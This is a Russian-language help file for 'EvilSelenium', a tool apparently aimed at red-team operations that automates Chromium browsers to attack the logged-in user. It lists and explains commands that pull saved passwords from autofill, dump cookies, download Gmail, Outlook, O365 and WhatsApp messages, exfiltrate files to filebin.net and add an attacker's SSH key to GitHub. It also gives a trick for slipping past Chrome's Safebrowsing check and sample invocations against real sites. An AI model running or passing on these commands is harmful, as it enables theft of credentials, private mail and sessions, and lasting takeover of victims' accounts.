
Использует Selenium для автоматизации кражи учетных данных, дампа cookie-файлов, эксфильтрации электронной почты и извлечения файлов из браузеров Chromium для операций красной команды.
EvilSelenium — это новый проект, который использует Selenium для атак на браузеры на основе Chromium. Текущие возможности:
Также вы можете расширить существующую функциональность под свои нужды (например, скачивать файлы из GDrive/OneDrive пользователя).
При запуске этого инструмента все существующие процессы браузера будут завершены, чтобы можно было работать с профилем пользователя, содержащим пароли и активные сессии.
Я создал этот инструмент примерно за неделю и не провёл столько тестов, сколько следовало, поэтому возможны ошибки.
Модули Selenium не всегда стабильны. Из-за постоянных изменений на сайтах некоторые модули могут время от времени ломаться. Я постараюсь поддерживать существующие модули в рабочем состоянии, но вы предупреждены.
EvilSelenium.exe /?
/help - Показать эту справку.
НАСТРОЙКА:
/install - Установить chromedriver и Selenium webdriver. Запустите один раз.
ГЛОБАЛЬНЫЕ: (принимаются с любой командой)
/browserdir [путь_в_appdata_local] - Использовать пользовательский браузер. Путь должен быть относительным к %appdatalocal% (например, "Microsoft\Edge")
РАЗВЕДКА:
/enumsavedsites [выходной_путь] - Проверить, для каких сайтов сохранены пароли, с помощью скриншотов.
/screenshot [веб-сайт] [выходной_путь] - Сделать скриншот указанной веб-страницы.
УЧЁТНЫЕ ДАННЫЕ:
/autorun - Извлечь сохранённые учётные данные с распространённых сайтов.
/dynamicid [страница_входа] [id_поля_имени] [id_поля_пароля] - Извлечь сохранённые учётные данные с сайта, указав ID поля имени пользователя и ID поля пароля.
/dynamicname [страница_входа] [имя_поля_имени] [имя_поля_пароля] - Извлечь сохранённые учётные данные с сайта, указав значение атрибута name поля имени и пароля.
/dynamicname2 [страница_входа] [позиция_имени] [позиция_пароля] [имя_поля_имени] [имя_поля_пароля] - Извлечь сохранённые учётные данные с сайта, указав значения атрибута name полей и их позиции.
КУКИ:
/cookies [веб-сайт] - Получить куки для указанного веб-сайта.
МОДУЛИ:
/download [url_файла] [секунды] - Скачать файл и указать время ожидания завершения загрузки. Расширения файлов не должны быть исполняемыми.
/exfil [локальный_файл] [секунды] - Загрузить файл на filebin.net и вывести ссылку для скачивания.
/gmail [выходной_путь] [количество_писем] - Загрузить письма из mail.google.com, если пользователь аутентифицирован. Максимум 50 писем.
/outlook [выходной_путь] [количество_писем] - Загрузить письма из Outlook, если пользователь аутентифицирован.
/o365 [выходной_путь] [количество_писем] - Загрузить письма из O365 Outlook, если пользователь аутентифицирован.
/github [ключ] - Добавить ваш SSH-ключ в Github, если пользователь аутентифицирован.
/whatsapp [выходной_путь] - Загрузить сообщения Whatsapp, если пользователь аутентифицирован (BETA).
Команда /install загружает Chrome Driver и Selenium WebDriver, которые являются необходимыми требованиями. EvilSelenium будет работать с версиями Chrome 100–90.
Протестировано на Windows 10, Chrome v97 и v90.
EvilSelenium.exe /install
По умолчанию EvilSelenium пытается использовать папку User Data Google Chrome для получения данных, но также поддерживаются другие браузеры на основе Chromium.
Чтобы использовать другие браузеры на основе Chrome, добавьте /browserdir с путём внутри каталога %localappdata%.
Вот примеры для нескольких распространённых браузеров (должны добавляться к любой команде CLI):
/browserdir BraveSoftware\Brave-Browser/browserdir Microsoft\Edge/browserdir Vivaldi/enumsavedsites — создаёт скриншоты страницы chrome://settings/passwords
/screenshot — скриншот любого веб-сайта. Если пользователь аутентифицирован на сайте, вы получите аутентифицированные скриншоты :).
ВАЖНО: Модуль учётных данных УДАЛЯЕТ КУКИ, чтобы украсть учётные данные из автозаполнения. В идеале используйте модуль учётных данных в конце, если хотите экспортировать куки.
/autorun — готовые шаблоны для распространённых сайтов. Буду добавлять новые.
/dynamicid — укажите URL страницы входа, а также ID поля ввода имени пользователя и ID поля пароля. Эквивалентно document.getElementById().
/dynamicname — если у полей нет ID, укажите значения атрибута name полей. Будет выбран первый индекс значений name. Эквивалентно document.getElementsByName()[0].value.
/dynamicname2 — укажите значения атрибута name полей вместе с их индексной позицией. Эквивалентно document.getElementsByName()[x].value, где x — указанная позиция.
/cookies — выгружает куки с указанного веб-сайта.
Это дополнительные модули, созданные для демонстрации того, какие действия можно выполнять с помощью Selenium.
/download — скачать файл и указать время ожидания загрузки. Перед скачиванием к файлу следует добавить неисполняемое расширение, чтобы избежать запроса Safebrowsing в Chrome.
/exfil — загрузить файл на filebin.net и указать время ожидания завершения загрузки. После завершения загрузки выводится ссылка на файл.
/gmail — загружает письма из mail.google.com, если пользователь аутентифицирован. Максимум 50 писем.
/outlook — загружает письма из Outlook, если пользователь аутентифицирован.
/o365 — загружает письма из O365 Outlook, если пользователь аутентифицирован.
/github — добавить ваш SSH-ключ в Github, если пользователь аутентифицирован.
/whatsapp — загружает сообщения Whatsapp, если пользователь аутентифицирован (BETA).
EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads
EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password
EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
